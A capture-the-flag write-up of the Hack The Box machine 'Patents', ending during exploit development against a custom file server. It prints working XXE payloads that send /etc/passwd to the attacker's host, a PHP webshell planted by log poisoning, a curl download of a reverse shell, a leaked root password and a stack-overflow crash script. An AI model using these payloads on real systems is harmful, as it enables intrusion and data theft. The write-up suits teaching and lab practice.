HTB: Patents

Details

This machine is Patents from Hack The Box

Recon

Nmap segfaulted initially so I used masscan

kali@kali:~$ sudo masscan --router-ip 10.10.14.0 -p0-65535,U:0-65535 -e tun0 --rate=1000 10.10.10.173

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-02-28 19:29:02 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131072 ports/host]
Discovered open port 80/tcp on 10.10.10.173
Discovered open port 22/tcp on 10.10.10.173
Discovered open port 8888/tcp on 10.10.10.173

The nmap on the open ports

kali@kali:~$ nmap -sV -p22,80,8888 10.10.10.173
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-28 19:53 GMT
Nmap scan report for 10.10.10.173
Host is up (0.024s latency).

PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http            Apache httpd 2.4.29 ((Ubuntu))
8888/tcp open  sun-answerbook?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8888-TCP:V=7.80%I=7%D=2/28%Time=5E596FD5%P=x86_64-pc-linux-gnu%r(LS
SF:CP,17,"LFM\x20400\x20BAD\x20REQUEST\r\n\r\n")%r(Help,17,"LFM\x20400\x20
SF:BAD\x20REQUEST\r\n\r\n")%r(LPDString,17,"LFM\x20400\x20BAD\x20REQUEST\r
SF:\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.77 seconds

Foothold

I checked out port 80 at http://10.10.10.173/

Screenshot 1

There was an upload form at http://10.10.10.173/upload.html

Screenshot 2

So it converts a docx to a pdf, this was a potential avenue for XXE as docx is just a zip of xml files. I ended up creating a document with a random string in it and uploading it to see what happened. I was offered a download button for the pdf which I clicked, and it opened the converted file

Screenshot 6

While this was going on I had been running dirbusts, and one using the raft-large-words wordlist found something interesting within the /release directory

Screenshot 7

I view the file at http://10.10.10.173/release/UpdateDetails.txt

Screenshot 8

So this file turned out to be important, and more than just for revealing that an LFI / Dir traversal were fixed then unfixed. I spent a lot of time trying various things with word documents, until eventually re-reading this file led to a moment of clarity. The important line was

- gbyolo@tb: fixed conversion parameters. Meow's changes for custom folder should now work.

Word allows custom xml to exist within the docx file as part of it’s standard. Rather than trying to custom craft one I used the following google dork to find a docx that already contained one

customxml word filetype:docx

I then unzipped the document

kali@kali:~$ ls -la
total 28
drwxr-xr-x 6 kali kali 4096 Feb 29 17:19  .
drwxr-xr-x 3 kali kali 4096 Feb 29 17:27  ..
-rw-r--r-- 1 kali kali 2542 Jan  1  1980 '[Content_Types].xml'
drwxr-xr-x 3 kali kali 4096 Feb 29 17:28  customXml
drwxr-xr-x 2 kali kali 4096 Feb 29 17:18  docProps
drwxr-xr-x 2 kali kali 4096 Feb 29 17:18  _rels
drwxr-xr-x 5 kali kali 4096 Feb 29 17:18  word

kali@kali:~/customXml$ ls -la
total 64
drwxr-xr-x 3 kali kali  4096 Feb 29 17:28 .
drwxr-xr-x 6 kali kali  4096 Feb 29 17:19 ..
-rw-r--r-- 1 kali kali 11963 Feb 29 17:20 item1.xml
-rw-r--r-- 1 kali kali   219 Jan  1  1980 item2.xml
-rw-r--r-- 1 kali kali   290 Jan  1  1980 item3.xml
-rw-r--r-- 1 kali kali   270 Jan  1  1980 item4.xml
-rw-r--r-- 1 kali kali  1232 Feb 29 17:27 itemProps1.xml
-rw-r--r-- 1 kali kali 12288 Feb 29 17:28 .itemProps1.xml.swp
-rw-r--r-- 1 kali kali   323 Jan  1  1980 itemProps2.xml
-rw-r--r-- 1 kali kali   413 Jan  1  1980 itemProps3.xml
-rw-r--r-- 1 kali kali   329 Jan  1  1980 itemProps4.xml
drwxr-xr-x 2 kali kali  4096 Feb 29 17:25 _rels

I modified itemProps1.xml to contain the following

<!DOCTYPE root [<!ENTITY ext SYSTEM "http://10.10.14.27/xXe_Is_FiXeD">]><root>&ext;></root>

And setup a python http server to listen for a callback. When I rebuilt and uploaded this docx

10.10.10.173 - - [29/Feb/2020 17:28:10] code 404, message File not found
10.10.10.173 - - [29/Feb/2020 17:28:10] "GET /xXe_Is_FiXeD HTTP/1.0" 404 -

I finally had a callback. I then tried to upload one with the following

<!DOCTYPE root [
<!ELEMENT root ANY>
<!ENTITY % file SYSTEM "file:///etc/passwd" >
<!ENTITY ext SYSTEM "http://10.10.14.27/newpay?file;">]>
<root>&ext;</root>

But no luck. Reading through payloads all the things, I decided to use a dtd. So I changed the payload to the following

<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://10.10.14.27/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

And hosted another file called dtd.xml containng

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.14.27/dtd.xml?%data;'>">

Upon uploading the document I received

10.10.10.173 - - [29/Feb/2020 18:10:06] "GET /dtd.xml HTTP/1.0" 200 -
10.10.10.173 - - [29/Feb/2020 18:10:06] "GET /dtd.xml?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpnYnlvbG86eDoxMDAwOjEwMDA6Oi9ob21lL2dieW9sbzovYmluL2Jhc2gK HTTP/1.0" 200 -

Which decoded to

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
gbyolo:x:1000:1000::/home/gbyolo:/bin/bash

So I could now read files, I then updated the dtd to steal ./config.php instead which decoded to the following

<?php
# needed by convert.php
$uploadir = 'letsgo/';

# needed by getPatent.php
# gbyolo: I moved getPatent.php to getPatent_alphav1.0.php because it's vulnerable
define('PATENTS_DIR', '/patents/');
?>

So I tried visiting the new file at http://10.10.10.173/getPatent_alphav1.0.php

Screenshot 9

I tried adding the parameter http://10.10.10.173/getPatent_alphav1.0.php?id=1

Screenshot 10

Eventually after testing various directory traversal and LFI techniques I managed to get the following output

Screenshot 11

I then was able to access the apache2 log file

http://10.10.10.173/getPatent_alphav1.0.php?id=...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2fvar%2flog%2fapache2%2faccess.log

Screenshot 12

Due to all the fuzzing I had done this file was massive, so I reset the box before continuing. Once the box was back up, I used burp to set my user agent to a php webshell of

<?php system($_GET['c']); ?>

Screenshot 13

Which poisoned the logs, I then tested the shell

http://10.10.10.173/getPatent_alphav1.0.php?id=...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2fvar%2flog%2fapache2%2faccess.log&c=id

Screenshot 14

With RCE confirmed I set a listener

kali@kali:~$ nc -nvlp 4444

And used my webshell to download a php reverse shell onto the target

http://10.10.10.173/getPatent_alphav1.0.php?id=...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2fvar%2flog%2fapache2%2faccess.log&c=curl%2010.10.14.27/php-reverse-shell.php%20-o%20./php-shell.php

I then visited http://10.10.10.173/php-shell.php to trigger it

connect to [10.10.14.27] from (UNKNOWN) [10.10.10.173] 60326
Linux 2eb566afc334 4.18.0-25-generic #26-Ubuntu SMP Mon Jun 24 09:32:08 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 19:14:52 up 5 min,  0 users,  load average: 0.04, 0.39, 0.24
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@2eb566afc334:/$

I now had a foothold

User

I ended up moving a static version of socat onto the machine and using it to spawn some additional full tty shells. In one of which I ran pspy64 and saw the following

[SNIP]
2020/02/29 19:24:01 CMD: UID=0    PID=178    | /bin/bash /opt/checker_client/run_file.sh
[SNIP]
2020/02/29 19:27:01 CMD: UID=0    PID=204    | python checker.py 10.100.0.1:8888 lfmserver_user PASSWORD /var/www/html/docx2pdf/convert.php
[SNIP]
2020/02/29 19:28:01 CMD: UID=0    PID=208    | /bin/sh -c root env PASSWORD="!gby0l0r0ck\$\$!" /opt/checker_client/run_file.sh
[SNIP]

A password, I removed the escape symbols

!gby0l0r0ck$$!

And used it to su

www-data@2eb566afc334:/opt$ su
Password:
root@2eb566afc334:/opt# 

And grab the user flag

root@2eb566afc334:/opt# cd /home/gbyolo/
root@2eb566afc334:/home/gbyolo# ls -la
total 24
drwxr-xr-x 1 gbyolo gbyolo 4096 Dec  3 13:07 .
drwxr-xr-x 1 root   root   4096 Dec  3 13:07 ..
-rw-r--r-- 1 gbyolo gbyolo  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 gbyolo gbyolo 3771 Apr  4  2018 .bashrc
-rw-r--r-- 1 gbyolo gbyolo  807 Apr  4  2018 .profile
-r-------- 1 root   root     36 May 22  2019 user.txt

root@2eb566afc334:/home/gbyolo# cat user.txt
[REDACTED]

Root

I now had user, and root access to what I believed to be a docker container. From the pspy I knew that there was a python script on this box interacting with the service running on port 8888, so I took a look at it

root@2eb566afc334:/opt/checker_client# ls -la
total 28
drwx------ 1 root root 4096 Dec  3 13:07 .
drwxr-xr-x 1 root root 4096 Feb 29 19:11 ..
-rwx------ 1 root root 1668 May 20  2019 checker.py
-rwx------ 1 root root  103 May 20  2019 cronjob
-rwx------ 1 root root  618 May 20  2019 run_file.sh
-rwx------ 1 root root  388 May 20  2019 utils.py
-rwx------ 1 root root  908 May 20  2019 utils.pyc

root@2eb566afc334:/opt/checker_client# cat checker.py
#!/usr/bin/env python
import sys
import os
from utils import md5,recvline
import socket

INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"

if len(sys.argv) != 5:
    print "Usage: " + sys.argv[0] + " <host>:<port> <user> <pass> <file>"
    exit(-1)

HOST = sys.argv[1]
var = HOST.split(":")

if len(var) != 2:
    print "Usage: " + sys.argv[0] + " <host>:<port> <user> <pass> <file>"
    exit(-1)

try:
    PORT = int(var[1])
except ValueError:
    print "Port number must be integer"
    exit(-1)

HOST = var[0]

#print "Connecting to " + HOST + ":" + str(PORT)

USER = sys.argv[2]

try:
    PASS = os.environ[sys.argv[3]]
except KeyError:
    print "Couldn't find such password"
    exit(-1)

FILE = sys.argv[4]

# At this point PASS is well-defined
base = os.path.basename(FILE)

try:
    md5sum = md5(FILE)
except IOError:
    print "File not found locally"
    exit(-1)

REALREQ = INPUTREQ.format(base, USER, PASS, md5sum)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))
s.sendall(REALREQ)
resp = s.recv(4096)
s.close()

#print resp

if "LFM 200 OK" in resp:
    #print "File OK, no need to download"
    exit(0)

if "404" in resp:
    print "File not found on server"
    exit(-1)

#print "File corrupted, need to download it"

REQ = "GET /{} LFM\r\n\r\n".format(base)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall(REQ)
recvline(s)
recvline(s)
recvline(s)
resp = s.recv(8192)

#if resp[-1] == '\n':
#    resp = resp[:-1]
#
#if resp[-1] == '\r':
#    resp = resp[:-1]

s.close()

with open("{}.new".format(base), "wb") as f:
    f.write(resp)

print "{}.new".format(base)

This was very useful in providing an understanding of how to interact with the port 8888 service. But it didn’t provide me with a way of exploiting it. So, I dug some more

root@2eb566afc334:/usr/src/lfm# ls -la
total 12
drwx------ 1 root   root   4096 Dec  3 13:07 .
drwxr-xr-x 1 root   root   4096 Dec  3 13:07 ..
drwx------ 1 gbyolo gbyolo 4096 Dec  3 13:07 .git

I found an empty git repo with the name lfm. So I looked at it’s history

root@2eb566afc334:/usr/src/lfm/.git# git log --raw
commit 7c6609240f414a2cb8af00f75fdc7cfbf04755f5 (HEAD -> master)
Author: gbyolo <gbyolo.htb>
Date:   Mon May 20 17:04:37 2019 +0200

    Removed meow files. THIS REPOSITORY IS ON SVN

:100644 000000 3c770da 0000000 D        README
:100755 000000 3aae760 0000000 D        lfmserver

commit a900ccf7ae75b95db5f2d134d80e359a795e0cc6
Author: meow <[email protected]>
Date:   Mon May 20 12:36:19 2019 +0200

    Added last executable and README

:000000 100644 0000000 3c770da A        README
:000000 100755 0000000 3aae760 A        lfmserver

commit aa139d6caea2182c73341919150d9f5cd05e7468
Author: gbyolo <gbyolo@htb>
Date:   Mon Mar 11 09:39:39 2019 +0100

    Switched to SVN for repository hosting. This will be empty

100644 000000 9996cea 0000000 D        Makefile
:100644 000000 028b72d 0000000 D        README
:100644 000000 1700ece 0000000 D        arg_parsing.c
:100644 000000 b88dd38 0000000 D        arg_parsing.h
:100644 000000 e5a086c 0000000 D        file.c
:100644 000000 3a2dfae 0000000 D        file.h
:100644 000000 5fe2e5f 0000000 D        files/try
:100644 000000 5d21acd 0000000 D        lfm.c
:100644 000000 e882a8a 0000000 D        lfm.h
:100644 000000 5bdfe5d 0000000 D        lfmserver.c
:100644 000000 927a351 0000000 D        lfmserver.conf
:100644 000000 e76329c 0000000 D        lfmserver.h
:100644 000000 787256d 0000000 D        log.c
:100644 000000 d97f5f7 0000000 D        log.h
:100644 000000 0382da0 0000000 D        md5.c
:100644 000000 f6b98d0 0000000 D        md5.h
:100644 000000 82be307 0000000 D        params_parsing.c
:100644 000000 041e9d6 0000000 D        params_parsing.h
:100644 000000 4f8d40e 0000000 D        process.c
:100644 000000 26dba4e 0000000 D        process.h
:100644 000000 778ee53 0000000 D        socket_io.c
:100644 000000 52aeed0 0000000 D        socket_io.h
:100644 000000 6060ac5 0000000 D        thread.c
:100644 000000 607140e 0000000 D        thread.h

commit 1bbc518518cdde0126103cd4c6e7e6dfcdd36d3e
Author: gbyolo <gbyolo@htb>
Date:   Fri Mar 8 13:18:32 2019 +0100

    Added README

:000000 100644 0000000 028b72d A        README

commit 027b01782f86a67a2b17787d9a5dea0eb4a803a3
Author: gbyolo <gbyolo@htb>
Date:   Fri Mar 8 13:12:11 2019 +0100

    Added LFM protocol management

:100644 100644 2a89541 5d21acd M        lfm.c

commit 0ac7c940010ebb22f7fbedb67ecdf67540728123
Author: gbyolo <gbyolo@htb>
Date:   Fri Mar 8 13:11:58 2019 +0100

    Added main file

:000000 100644 0000000 5bdfe5d A        lfmserver.c
:000000 100644 0000000 e76329c A        lfmserver.h

commit b010219da4a5f515ed0a5208cdd259c2f4a07f8e
Author: gbyolo <gbyolo@htb>
Date:   Fri Mar 8 13:11:46 2019 +0100

    Added process and thread management

:000000 100644 0000000 0382da0 A        md5.c
:000000 100644 0000000 f6b98d0 A        md5.h
:000000 100644 0000000 4f8d40e A        process.c
:000000 100644 0000000 26dba4e A        process.h
:000000 100644 0000000 6060ac5 A        thread.c
:000000 100644 0000000 607140e A        thread.h

commit 35f32dd1d6b6da084cfc8b6cd9e24cd3f1d05663
Author: gbyolo <gbyolo@htb>
Date:   Thu Mar 7 14:51:21 2019 +0100

    Added files to serve

:000000 100644 0000000 5fe2e5f A        files/try

commit b2043a2c470abbe945b719be7e007d367a2a5f05
Author: gbyolo <gbyolo@htb>
Date:   Thu Mar 7 14:49:52 2019 +0100

    Started implementinf LFM interface

:000000 100644 0000000 2a89541 A        lfm.c

commit cfbbad867b611b0cc3544a24a4cd877bae5f1733
Author: gbyolo <gbyolo@htb>
Date:   Thu Mar 7 12:30:03 2019 +0100

    Implemented interface of lfm protocol

:000000 100644 0000000 e882a8a A        lfm.h

commit 9a512f08a2e7cabab2a821db0a18685b2b95deb6
Author: gbyolo <gbyolo@htb>
Date:   Thu Mar 7 12:02:54 2019 +0100

    Added makefile

:000000 100644 0000000 9996cea A        Makefile
:000000 100644 0000000 778ee53 A        socket_io.c
:000000 100644 0000000 52aeed0 A        socket_io.h

commit 7d29513b0105996a0c29b4eed9b3554983b804b7
Author: gbyolo <gbyolo@htb>
Date:   Thu Mar 7 12:01:16 2019 +0100

    Added log parsing

:000000 100644 0000000 e5a086c A        file.c
:000000 100644 0000000 3a2dfae A        file.h
:000000 100644 0000000 927a351 A        lfmserver.conf
:000000 100644 0000000 787256d A        log.c
:000000 100644 0000000 d97f5f7 A        log.h

commit 527274134f86457bb17ea77909e2e6977523837b
Author: gbyolo <gbyolo@htb>
Date:   Thu Mar 7 12:00:34 2019 +0100

    Initialized project

:000000 100644 0000000 1700ece A        arg_parsing.c
:000000 100644 0000000 b88dd38 A        arg_parsing.h
:000000 100644 0000000 82be307 A        params_parsing.c
:000000 100644 0000000 041e9d6 A        params_parsing.h

This looked promising as it may contain the binary / source code for the program on port 8888. So I tar’d the entire repo and downloaded it locally. To download the tar I moved it to the webroot and downloaded it with curl

I began to look through the repo

kali@kali:~/lfm$ git checkout a900ccf7ae75b95db5f2d134d80e359a795e0cc6

kali@kali:~/lfm$ cat README
lfmserver' dynamic libraries:
        linux-vdso.so.1 (0x00007ffda19f0000)
        libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f5444090000)
        libcrypto.so.1.1 => /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1 (0x00007f5443dc5000)
        libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f5443da4000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5443bba000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f5444226000)
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f5443bb4000)

NB: lfmserver was compiled against:
- libc6: 2.28-0ubuntu1
- libssl1.1: 1.1.1-1ubuntu2.1

This gave me the libc version, so I acquired it using https://github.com/niklasb/libc-database. At this point it became apparent I was going to be working with a combination of the source code, ghidra, and dynamic analysis. The binary itself is stripped which made it harder to work with. But the source was also incomplete as can be seen when checking out to a version containing it

kali@kali:~/lfm$ git checkout 1bbc518518cdde0126103cd4c6e7e6dfcdd36d3e

kali@kali:~/lfm$ cat lfm.c
[SNIP]
int handle_check(struct msg *message)
{
    // TODO: implement

        send_401(message->connsd);
        return -1;
}

int handle_get(struct msg *message)
{
    // TODO: implement
    //
        send_bad_request(message->connsd);
    return 0;
}
[SNIP]

After some more digging into the repo I found I had missed a message earlier

kali@kali:~/lfm$ git reflog
[SNIP]
5e4bd57 HEAD@{9}: commit: Added the executable of lfmserver for internal testing
[SNIP]

An internal testing version was interesting, as it may not be stripped. So I took a look

kali@kali:~/lfm$ git checkout HEAD@{9}

kali@kali:~/lfm$ file lfmserver
lfmserver: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7c1ef1dec3cfe5ab145957a9369f871daec30293, not stripped

As this version wasn’t stripped, it was the version I mainly worked with in ghidra. For all dynamic analysis I used the stripped binary as I believed it was the most likely version to actually be running on the system

With the program loaded into ghidra I located the handle_get function

Screenshot 15

It was implemented, unlike with the source code. This marked the beginning of a large session of RE. Which eventually led me to a potential stack overflow. This would occur within the handle_check and url_decode functions

Screenshot 16

The url_decode function is called here, and it’s result is stored in the local buffer local_b8, which is a 128 byte buffer. But there is no obvious bounds checking for if the url is actually longer than this. I confirmed this by checking the url_decode function

Screenshot 17

As suspected, no bounds checking. So I began to workout how this function would actually get called

kali@kali:~/lfm$ grep -rn handle_check
lfm.c:313:int handle_check(struct msg *message)
lfm.c:370:              handle_check(message);
lfm.h:86:int handle_check(struct msg *msg);

Investigating lfm.c led to

int handle_lfm_connection(int connsd, char *ip)
{
        struct msg *message;

        char *client_ip = strndup(ip, INET_ADDRSTRLEN+1);
        free(ip);

        if ((message=read_message(connsd)) == NULL) {
                return -1;
        }
        message->client_ip = client_ip;

        if (message->method == CHECK) {
                handle_check(message);
        } else if (message->method == GET) {
                handle_get(message);
        } else if (message->method == PUT) {
                handle_put(message, &param_config, MAX_OBJECT_SIZE);
        }

        free_object(message);
        free_message(message);
        free_struct(message);

        return 1;
}

Which indicates that to trigger this, I need to make a CHECK request to the system. Before diving into exploit development I wanted to workout if there were any preconditions to this, especially as the overwrite happens in url_decode, but overflows from a variable in handle_check, meaning I need to do this in a way that both the url_decode and handle_check functions return (as I’ll be overwriting the return address in handle_check). It became apparent there were a few cases to consider

Screenshot 18

In this case, if the file requested is not found, then a file manager error is called. Investigating this proved that it would be an issue

void lfm_init(void (*error_fcn)(int id, const char *error_msg, int err))
{
  fileManager_error = error_fcn;
}

kali@kali:~/lfm$ grep -rn lfm_init
process.c:131:  lfm_init(&pthread_fatal_error);
lfm.c:4:void lfm_init(void (*error_fcn)(int id, const char *error_msg, int err))
lfm.h:70:void lfm_init(void (*error_fcn)(int id, const char *error_msg, int err));

I checked this pthread_fatal_error in ghidra

Screenshot 19

It would cause the program to exit, before the return of handle_check. So one condition I must meet is that the file I would request, had to be real. This was a potential problem as the overflow itself also happened in the url for the file. After this condition comes and md5 check

Screenshot 20

If the md5sum does not match the provided hash (as part of the request), the send_406 function is called

Screenshot 21

This turned out to not be an issue as send_406 will return, allowing handle_check to reached the

return 0xfffffff

Which would trigger the exploit (if successful). So I began to work out how to solve the "need a real file issue". Reading over the code I realised the url_decode function would actually work in my favour, as it would allow me to smuggle bad characters into the payload by url encoding them. Normally I would have to avoid using \x00 as it would terminate the string, but by encoding it was %00 it wouldn’t but would be decoded back to \x00 in any later use. This turned out to be critical for bypassing the file exists check. Reading the documentation for the access call https://linux.die.net/man/2/access. The parameter is a const char pointer, which will be expecting a null terminated string. So I should be able to send a payload such as

/path/to/real/file%00<rest of exploit>

I confirmed that a url encoded null byte wouldn’t cause the url_decode function to stop

Screenshot 22

The code only stops when it reaches the end of the string, or an already decoded null byte. The next problem was a file which I knew existed. I was hoping I would be able to use directory traversal to solve this issue. I also realised that pythons standard url encode functions only do key characters, I want to encode everything. I ended up finding a good gist which has a function for this https://gist.github.com/Paradoxis/6336c2eaea20a591dd36bb1f5e227da2

I then wrote a client script to test with (using the client found on the target as a reference)

kali@kali:~$ cat lfmcheck.py
import sys
import socket

IP   = "10.10.10.173"
PORT = 8888
USER = "lfmserver_user"
PASS = "!gby0l0r0ck$$!"
FILE = sys.argv[1]
HASH = "fake"

def aggressive_url_encode(string):
    return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

REQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n".format(aggressive_url_encode(FILE), USER, PASS, HASH)

print(REQ)

print("=================\n")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
s.sendall(REQ)
r = s.recv(8192)

print(r)

s.close()

And I tested it for directory traversal

kali@kali:~$ python lfmcheck.py ../../../../etc/passwd
CHECK /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 LFM
User=lfmserver_user
Password=!gby0l0r0ck$$!

fake

=================

LFM 406 MD5 NOT MATCH

The 406 was a good sign as it meant it passed the access check. At this point I wanted to setup a local copy for dynamic analysis, which meant patching a copy of the binary to use the libc I have locally

kali@kali:~/lfm$ patchelf --set-interpreter /opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/ld-2.28.so --set-rpath /opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/:$ORIGIN lfmserver

I then loaded this into gdb and checked the security protections on the binary. I am assuming ASLR is enabled

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

So NX is on, but no PIE so it will hopefully just be a ROP chains for ASLR info leak + exploit. So I began work on an exploit, the intention was to crash the program

from pwn import *

context(os='linux', arch='amd64')
context.log_level='DEBUG'

IP        = "127.0.0.1"
PORT      = 5000
USER      = "lfmserver_user"
PASS      = "!gby0l0r0ck$$!"
FILE      = "/etc/passwd"
TRAVERSAL = "../../../../../.."
HASH      = "AAAAA"

REQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"

ELF  = elf.ELF("./lfmserver")
LIBC = elf.ELF("/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")

def url_encode(string):
  return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

def main():
  url = "{}{}%00{}".format(url_encode(TRAVERSAL), FILE, url_encode("A"*200))

  stage_1 = REQ.format(url, USER, PASS, HASH)

  r = remote(IP, PORT)
  r.send(stage_1)

if __name__ == '__main__':
  main()

When I ran it against the target the following happened in gdb

[New Thread 0x7ffff7914700 (LWP 2932)]
[Thread 0x7ffff7914700 (LWP 2932) exited]
[Inferior 2 (process 2925) exited with code 01]

A child process crashed. But, it seems to have more than 1 child process which could be a pain. Checking the log file showed

kali@kali:~/lfm$ cat lfmserver.log
lfmserver[3221]: Unable to find configuration file /etc/cserver/cserver.conf, using default configuration
lfmserver[3221]: Server starting on port 5000. Logfile = lfmserver.log
Number of children: 4
lfmserver[3221]: perc_dead_child: 0.200000
lfmserver[3221]: socket created (fd=5)
lfmserver[3221]: socket bind() OK
lfmserver[3221]: listen() went ok. BACKLOG=128
lfmserver[3222]: N_THREAD: 1, MAX_THREADS: 5
lfmserver[3223]: N_THREAD: 1, MAX_THREADS: 5
lfmserver[3224]: N_THREAD: 1, MAX_THREADS: 5
lfmserver[3225]: N_THREAD: 1, MAX_THREADS: 5

It seems to have looked for a config file, and I found reference to this in a previous version of the README

kali@kali:~/lfm$ cat README
This is an implementation of the Lightweight File Manager LFM Protocol.
It's a pre-fork and pre-thread server, which supports re-forking and re-threading
when the number of child processes of threads goes below a threshold.

It's similar to HTTP, and supports the following methods:

GET /object LFM     [\r\n]
User=user           [\r\n]
Password=password   [\r\n]
                    [\r\n]

CHECK /object LFM   [\r\n]
User=user           [\r\n]
Password=password   [\r\n]
                    [\r\n]
md5_of_the_file     [\r\n]
                    [\r\n]

PUT /object LFM     [\r\n]
User=user           [\r\n]
Password=password   [\r\n]
                    [\r\n]
bytes_of_the_file

Communication is based on TCP.
Default port is 5000.

